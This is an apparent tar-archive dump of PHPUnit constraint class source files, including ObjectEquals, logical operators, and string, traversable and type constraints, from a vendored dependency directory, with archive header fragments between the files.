PHPUnit\Framework\ComparisonMethodDoesNotExistException; use ReflectionNamedType; use ReflectionObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ObjectEquals extends Constraint { /** * @var object */ private $expected; /** * @var string */ private $method; public function __construct(object $object, string $method = 'equals') { $this->expected = $object; $this->method = $method; } public function toString(): string { return 'two objects are equal'; } /** * @throws ActualValueIsNotAnObjectException * @throws ComparisonMethodDoesNotAcceptParameterTypeException * @throws ComparisonMethodDoesNotDeclareBoolReturnTypeException * @throws ComparisonMethodDoesNotDeclareExactlyOneParameterException * @throws ComparisonMethodDoesNotDeclareParameterTypeException * @throws ComparisonMethodDoesNotExistException */ protected function matches($other): bool { if (!is_object($other)) { throw new ActualValueIsNotAnObjectException; } $object = new ReflectionObject($other); if (!$object->hasMethod($this->method)) { throw new ComparisonMethodDoesNotExistException( get_class($other), $this->method ); } /** @noinspection PhpUnhandledExceptionInspection */ $method = $object->getMethod($this->method); if (!$method->hasReturnType()) { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( get_class($other), $this->method ); } $returnType = $method->getReturnType(); if (!$returnType instanceof ReflectionNamedType) { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( get_class($other), $this->method ); } if ($returnType->allowsNull()) { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( get_class($other), $this->method ); } if ($returnType->getName() !== 'bool') { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( get_class($other), $this->method ); } if ($method->getNumberOfParameters() !== 1 || $method->getNumberOfRequiredParameters() !== 1) { throw new ComparisonMethodDoesNotDeclareExactlyOneParameterException( get_class($other), $this->method ); } $parameter = $method->getParameters()[0]; if (!$parameter->hasType()) { throw new ComparisonMethodDoesNotDeclareParameterTypeException( get_class($other), $this->method ); } $type = $parameter->getType(); if (!$type instanceof ReflectionNamedType) { throw new ComparisonMethodDoesNotDeclareParameterTypeException( get_class($other), $this->method ); } $typeName = $type->getName(); if ($typeName === 'self') { $typeName = get_class($other); } if (!$this->expected instanceof $typeName) { throw new ComparisonMethodDoesNotAcceptParameterTypeException( get_class($other), $this->method, get_class($this->expected) ); } return $other->{$this->method}($this->expected); } protected function failureDescription($other): string { return $this->toString(); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php000064400000003046147577714370027656 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use PHPUnit\Framework\Exception; use ReflectionClass; use ReflectionException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ClassHasStaticAttribute extends ClassHasAttribute { /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'has static attribute "%s"', $this->attributeName() ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { try { $class = new ReflectionClass($other); if ($class->hasProperty($this->attributeName())) { return $class->getProperty($this->attributeName())->isStatic(); } // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd return false; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php000064400000004352147577714370026507 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function get_class; use function is_object; use function sprintf; use PHPUnit\Framework\Exception; use ReflectionClass; use ReflectionException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ class ClassHasAttribute extends Constraint { /** * @var string */ private $attributeName; public function __construct(string $attributeName) { $this->attributeName = $attributeName; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'has attribute "%s"', $this->attributeName ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { try { return (new ReflectionClass($other))->hasProperty($this->attributeName); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription($other): string { return sprintf( '%sclass "%s" %s', is_object($other) ? 'object of ' : '', is_object($other) ? get_class($other) : $other, $this->toString() ); } protected function attributeName(): string { return $this->attributeName; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php000064400000001473147577714370026651 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use ReflectionObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ObjectHasAttribute extends ClassHasAttribute { /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return (new ReflectionObject($other))->hasProperty($this->attributeName()); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php000064400000002654147577714370025305 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Operator extends Constraint { /** * Returns the name of this operator. */ abstract public function operator(): string; /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ abstract public function precedence(): int; /** * Returns the number of operands. */ abstract public function arity(): int; /** * Validates $constraint argument. */ protected function checkConstraint($constraint): Constraint { if (!$constraint instanceof Constraint) { return new IsEqual($constraint); } return $constraint; } /** * Returns true if the $constraint needs to be wrapped with braces. */ protected function constraintNeedsParentheses(Constraint $constraint): bool { return $constraint instanceof self && $constraint->arity() > 1 && $this->precedence() <= $constraint->precedence(); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php000064400000003050147577714370025544 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_reduce; use function array_shift; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalXor extends BinaryOperator { /** * Returns the name of this operator. */ public function operator(): string { return 'xor'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php. */ public function precedence(): int { return 23; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ public function matches($other): bool { $constraints = $this->constraints(); $initial = array_shift($constraints); if ($initial === null) { return false; } return array_reduce( $constraints, static function (bool $matches, Constraint $constraint) use ($other): bool { return $matches xor $constraint->evaluate($other, '', true); }, $initial->evaluate($other, '', true) ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php000064400000002327147577714370025362 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalOr extends BinaryOperator { /** * Returns the name of this operator. */ public function operator(): string { return 'or'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ public function precedence(): int { return 24; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ public function matches($other): bool { foreach ($this->constraints() as $constraint) { if ($constraint->evaluate($other, '', true)) { return true; } } return false; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php000064400000007212147577714370026445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_map; use function array_values; use function count; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class BinaryOperator extends Operator { /** * @var Constraint[] */ private $constraints = []; public static function fromConstraints(Constraint ...$constraints): self { $constraint = new static; $constraint->constraints = $constraints; return $constraint; } /** * @param mixed[] $constraints */ public function setConstraints(array $constraints): void { $this->constraints = array_map(function ($constraint): Constraint { return $this->checkConstraint($constraint); }, array_values($constraints)); } /** * Returns the number of operands (constraints). */ final public function arity(): int { return count($this->constraints); } /** * Returns a string representation of the constraint. */ public function toString(): string { $reduced = $this->reduce(); if ($reduced !== $this) { return $reduced->toString(); } $text = ''; foreach ($this->constraints as $key => $constraint) { $constraint = $constraint->reduce(); $text .= $this->constraintToString($constraint, $key); } return $text; } /** * Counts the number of constraint elements. */ public function count(): int { $count = 0; foreach ($this->constraints as $constraint) { $count += count($constraint); } return $count; } /** * Returns the nested constraints. */ final protected function constraints(): array { return $this->constraints; } /** * Returns true if the $constraint needs to be wrapped with braces. */ final protected function constraintNeedsParentheses(Constraint $constraint): bool { return $this->arity() > 1 && parent::constraintNeedsParentheses($constraint); } /** * Reduces the sub-expression starting at $this by skipping degenerate * sub-expression and returns first descendant constraint that starts * a non-reducible sub-expression. * * See Constraint::reduce() for more. */ protected function reduce(): Constraint { if ($this->arity() === 1 && $this->constraints[0] instanceof Operator) { return $this->constraints[0]->reduce(); } return parent::reduce(); } /** * Returns string representation of given operand in context of this operator. * * @param Constraint $constraint operand constraint * @param int $position position of $constraint in this expression */ private function constraintToString(Constraint $constraint, int $position): string { $prefix = ''; if ($position > 0) { $prefix = (' ' . $this->operator() . ' '); } if ($this->constraintNeedsParentheses($constraint)) { return $prefix . '( ' . $constraint->toString() . ' )'; } $string = $constraint->toStringInContext($this, $position); if ($string === '') { $string = $constraint->toString(); } return $prefix . $string; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php000064400000006525147577714370025546 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_map; use function count; use function preg_match; use function preg_quote; use function preg_replace; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalNot extends UnaryOperator { public static function negate(string $string): string { $positives = [ 'contains ', 'exists', 'has ', 'is ', 'are ', 'matches ', 'starts with ', 'ends with ', 'reference ', 'not not ', ]; $negatives = [ 'does not contain ', 'does not exist', 'does not have ', 'is not ', 'are not ', 'does not match ', 'starts not with ', 'ends not with ', 'don\'t reference ', 'not ', ]; preg_match('/(\'[\w\W]*\')([\w\W]*)("[\w\W]*")/i', $string, $matches); $positives = array_map(static function (string $s) { return '/\\b' . preg_quote($s, '/') . '/'; }, $positives); if (count($matches) > 0) { $nonInput = $matches[2]; $negatedString = preg_replace( '/' . preg_quote($nonInput, '/') . '/', preg_replace( $positives, $negatives, $nonInput ), $string ); } else { $negatedString = preg_replace( $positives, $negatives, $string ); } return $negatedString; } /** * Returns the name of this operator. */ public function operator(): string { return 'not'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ public function precedence(): int { return 5; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return !$this->constraint()->evaluate($other, '', true); } /** * Applies additional transformation to strings returned by toString() or * failureDescription(). */ protected function transformString(string $string): string { return self::negate($string); } /** * Reduces the sub-expression starting at $this by skipping degenerate * sub-expression and returns first descendant constraint that starts * a non-reducible sub-expression. * * See Constraint::reduce() for more. */ protected function reduce(): Constraint { $constraint = $this->constraint(); if ($constraint instanceof self) { return $constraint->constraint()->reduce(); } return parent::reduce(); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php000064400000002364147577714370025505 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalAnd extends BinaryOperator { /** * Returns the name of this operator. */ public function operator(): string { return 'and'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ public function precedence(): int { return 22; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { foreach ($this->constraints() as $constraint) { if (!$constraint->evaluate($other, '', true)) { return false; } } return [] !== $this->constraints(); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php000064400000007275147577714370026330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function count; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class UnaryOperator extends Operator { /** * @var Constraint */ private $constraint; /** * @param Constraint|mixed $constraint */ public function __construct($constraint) { $this->constraint = $this->checkConstraint($constraint); } /** * Returns the number of operands (constraints). */ public function arity(): int { return 1; } /** * Returns a string representation of the constraint. */ public function toString(): string { $reduced = $this->reduce(); if ($reduced !== $this) { return $reduced->toString(); } $constraint = $this->constraint->reduce(); if ($this->constraintNeedsParentheses($constraint)) { return $this->operator() . '( ' . $constraint->toString() . ' )'; } $string = $constraint->toStringInContext($this, 0); if ($string === '') { return $this->transformString($constraint->toString()); } return $string; } /** * Counts the number of constraint elements. */ public function count(): int { return count($this->constraint); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { $reduced = $this->reduce(); if ($reduced !== $this) { return $reduced->failureDescription($other); } $constraint = $this->constraint->reduce(); if ($this->constraintNeedsParentheses($constraint)) { return $this->operator() . '( ' . $constraint->failureDescription($other) . ' )'; } $string = $constraint->failureDescriptionInContext($this, 0, $other); if ($string === '') { return $this->transformString($constraint->failureDescription($other)); } return $string; } /** * Transforms string returned by the memeber constraint's toString() or * failureDescription() such that it reflects constraint's participation in * this expression. * * The method may be overwritten in a subclass to apply default * transformation in case the operand constraint does not provide its own * custom strings via toStringInContext() or failureDescriptionInContext(). * * @param string $string the string to be transformed */ protected function transformString(string $string): string { return $string; } /** * Provides access to $this->constraint for subclasses. */ final protected function constraint(): Constraint { return $this->constraint; } /** * Returns true if the $constraint needs to be wrapped with parentheses. */ protected function constraintNeedsParentheses(Constraint $constraint): bool { $constraint = $constraint->reduce(); return $constraint instanceof self || parent::constraintNeedsParentheses($constraint); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php000064400000002251147577714370026637 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function preg_match; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ class RegularExpression extends Constraint { /** * @var string */ private $pattern; public function __construct(string $pattern) { $this->pattern = $pattern; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'matches PCRE pattern "%s"', $this->pattern ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return preg_match($this->pattern, $other) > 0; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php000064400000002205147577714370026071 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function strlen; use function substr; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringEndsWith extends Constraint { /** * @var string */ private $suffix; public function __construct(string $suffix) { $this->suffix = $suffix; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'ends with "' . $this->suffix . '"'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return substr($other, 0 - strlen($this->suffix)) === $this->suffix; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php000064400000003645147577714370024373 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function json_decode; use function json_last_error; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsJson extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is valid JSON'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { if ($other === '') { return false; } json_decode($other); if (json_last_error()) { return false; } return true; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { if ($other === '') { return 'an empty string is valid JSON'; } json_decode($other); $error = (string) JsonMatchesErrorMessageProvider::determineJsonError( (string) json_last_error() ); return sprintf( '%s is valid JSON (%s)', $this->exporter()->shortenedExport($other), $error ); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php000064400000004335147577714370026130 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function mb_stripos; use function mb_strtolower; use function sprintf; use function strpos; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringContains extends Constraint { /** * @var string */ private $string; /** * @var bool */ private $ignoreCase; public function __construct(string $string, bool $ignoreCase = false) { $this->string = $string; $this->ignoreCase = $ignoreCase; } /** * Returns a string representation of the constraint. */ public function toString(): string { if ($this->ignoreCase) { $string = mb_strtolower($this->string, 'UTF-8'); } else { $string = $this->string; } return sprintf( 'contains "%s"', $string ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { if ('' === $this->string) { return true; } if ($this->ignoreCase) { /* * We must use the multi byte safe version so we can accurately compare non latin upper characters with * their lowercase equivalents. */ return mb_stripos($other, $this->string, 0, 'UTF-8') !== false; } /* * Use the non multi byte safe functions to see if the string is contained in $other. * * This function is very fast and we don't care about the character position in the string. * * Additionally, we want this method to be binary safe so we can check if some binary data is in other binary * data. */ return strpos($other, $this->string) !== false; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php000064400000002445147577714370026466 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function strlen; use function strpos; use PHPUnit\Framework\InvalidArgumentException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringStartsWith extends Constraint { /** * @var string */ private $prefix; public function __construct(string $prefix) { if (strlen($prefix) === 0) { throw InvalidArgumentException::create(1, 'non-empty string'); } $this->prefix = $prefix; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'starts with "' . $this->prefix . '"'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return strpos((string) $other, $this->prefix) === 0; } } vendor/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php000064400000005713147577714370031235 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use const DIRECTORY_SEPARATOR; use function explode; use function implode; use function preg_match; use function preg_quote; use function preg_replace; use function strtr; use SebastianBergmann\Diff\Differ; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringMatchesFormatDescription extends RegularExpression { /** * @var string */ private $string; public function __construct(string $string) { parent::__construct( $this->createPatternFromFormat( $this->convertNewlines($string) ) ); $this->string = $string; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return parent::matches( $this->convertNewlines($other) ); } protected function failureDescription($other): string { return 'string matches format description'; } protected function additionalFailureDescription($other): string { $from = explode("\n", $this->string); $to = explode("\n", $this->convertNewlines($other)); foreach ($from as $index => $line) { if (isset($to[$index]) && $line !== $to[$index]) { $line = $this->createPatternFromFormat($line); if (preg_match($line, $to[$index]) > 0) { $from[$index] = $to[$index]; } } } $this->string = implode("\n", $from); $other = implode("\n", $to); return (new Differ(new UnifiedDiffOutputBuilder("--- Expected\n+++ Actual\n")))->diff($this->string, $other); } private function createPatternFromFormat(string $string): string { $string = strtr( preg_quote($string, '/'), [ '%%' => '%', '%e' => '\\' . DIRECTORY_SEPARATOR, '%s' => '[^\r\n]+', '%S' => '[^\r\n]*', '%a' => '.+', '%A' => '.*', '%w' => '\s*', '%i' => '[+-]?\d+', '%d' => '\d+', '%x' => '[0-9a-fA-F]+', '%f' => '[+-]?\.?\d+\.?\d*(?:[Ee][+-]?\d+)?', '%c' => '.', ] ); return '/^' . $string . '$/s'; } private function convertNewlines(string $text): string { return preg_replace('/\r\n/', "\n", $text); } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php000064400000003641147577714370026351 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_key_exists; use function is_array; use ArrayAccess; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ArrayHasKey extends Constraint { /** * @var int|string */ private $key; /** * @param int|string $key */ public function __construct($key) { $this->key = $key; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return 'has the key ' . $this->exporter()->export($this->key); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { if (is_array($other)) { return array_key_exists($this->key, $other); } if ($other instanceof ArrayAccess) { return $other->offsetExists($this->key); } return false; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { return 'an array ' . $this->toString(); } } readability/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php000064400000002101147577714370031036 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use SplObjectStorage; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TraversableContainsEqual extends TraversableContains { /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { if ($other instanceof SplObjectStorage) { return $other->contains($this->value()); } foreach ($other as $element) { /* @noinspection TypeUnsafeComparisonInspection */ if ($this->value() == $element) { return true; } } return false; } } readability/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php000064400000004337147577714370030725 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use PHPUnit\Framework\ExpectationFailedException; use Traversable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TraversableContainsOnly extends Constraint { /** * @var Constraint */ private $constraint; /** * @var string */ private $type; /** * @throws \PHPUnit\Framework\Exception */ public function __construct(string $type, bool $isNativeType = true) { if ($isNativeType) { $this->constraint = new IsType($type); } else { $this->constraint = new IsInstanceOf( $type ); } $this->type = $type; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @param mixed|Traversable $other * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public function evaluate($other, string $description = '', bool $returnResult = false): ?bool { $success = true; foreach ($other as $item) { if (!$this->constraint->evaluate($item, '', true)) { $success = false; break; } } if ($returnResult) { return $success; } if (!$success) { $this->fail($other, $description); } return null; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'contains only values of type "' . $this->type . '"'; } } vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php000064400000002007147577714370031670 0ustar00res/readability * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use SplObjectStorage; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TraversableContainsIdentical extends TraversableContains { /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { if ($other instanceof SplObjectStorage) { return $other->contains($this->value()); } foreach ($other as $element) { if ($this->value() === $element) { return true; } } return false; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php000064400000003056147577714370030137 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_array; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class TraversableContains extends Constraint { /** * @var mixed */ private $value; public function __construct($value) { $this->value = $value; } /** * Returns a string representation of the constraint. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function toString(): string { return 'contains ' . $this->exporter()->export($this->value); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { return sprintf( '%s %s', is_array($other) ? 'an array' : 'a traversable', $this->toString() ); } protected function value() { return $this->value; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php000064400000004206147577714370025160 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use ReflectionClass; use ReflectionException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsInstanceOf extends Constraint { /** * @var string */ private $className; public function __construct(string $className) { $this->className = $className; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'is instance of %s "%s"', $this->getType(), $this->className ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { return $other instanceof $this->className; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function failureDescription($other): string { return sprintf( '%s is an instance of %s "%s"', $this->exporter()->shortenedExport($other), $this->getType(), $this->className ); } private function getType(): string { try { $reflection = new ReflectionClass($this->className); if ($reflection->isInterface()) { return 'interface'; } } catch (ReflectionException $e) { } return 'class'; } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php000064400000011105147577714370024044 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function gettype; use function is_array; use function is_bool; use function is_callable; use function is_float; use function is_int; use function is_iterable; use function is_numeric; use function is_object; use function is_scalar; use function is_string; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsType extends Constraint { /** * @var string */ public const TYPE_ARRAY = 'array'; /** * @var string */ public const TYPE_BOOL = 'bool'; /** * @var string */ public const TYPE_FLOAT = 'float'; /** * @var string */ public const TYPE_INT = 'int'; /** * @var string */ public const TYPE_NULL = 'null'; /** * @var string */ public const TYPE_NUMERIC = 'numeric'; /** * @var string */ public const TYPE_OBJECT = 'object'; /** * @var string */ public const TYPE_RESOURCE = 'resource'; /** * @var string */ public const TYPE_CLOSED_RESOURCE = 'resource (closed)'; /** * @var string */ public const TYPE_STRING = 'string'; /** * @var string */ public const TYPE_SCALAR = 'scalar'; /** * @var string */ public const TYPE_CALLABLE = 'callable'; /** * @var string */ public const TYPE_ITERABLE = 'iterable'; /** * @var array */ private const KNOWN_TYPES = [ 'array' => true, 'boolean' => true, 'bool' => true, 'double' => true, 'float' => true, 'integer' => true, 'int' => true, 'null' => true, 'numeric' => true, 'object' => true, 'real' => true, 'resource' => true, 'resource (closed)' => true, 'string' => true, 'scalar' => true, 'callable' => true, 'iterable' => true, ]; /** * @var string */ private $type; /** * @throws \PHPUnit\Framework\Exception */ public function __construct(string $type) { if (!isset(self::KNOWN_TYPES[$type])) { throw new \PHPUnit\Framework\Exception( sprintf( 'Type specified for PHPUnit\Framework\Constraint\IsType <%s> ' . 'is not a valid type.', $type ) ); } $this->type = $type; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'is of type "%s"', $this->type ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches($other): bool { switch ($this->type) { case 'numeric': return is_numeric($other); case 'integer': case 'int': return is_int($other); case 'double': case 'float': case 'real': return is_float($other); case 'string': return is_string($other); case 'boolean': case 'bool': return is_bool($other); case 'null': return null === $other; case 'array': return is_array($other); case 'object': return is_object($other); case 'resource': $type = gettype($other); return $type === 'resource' || $type === 'resource (closed)'; case 'resource (closed)': return gettype($other) === 'resource (closed)'; case 'scalar': return is_scalar($other); case 'callable': return is_callable($other); case 'iterable': return is_iterable($other); default: return false; } } } res/readability/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php000064400000001565147577714370024046 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ 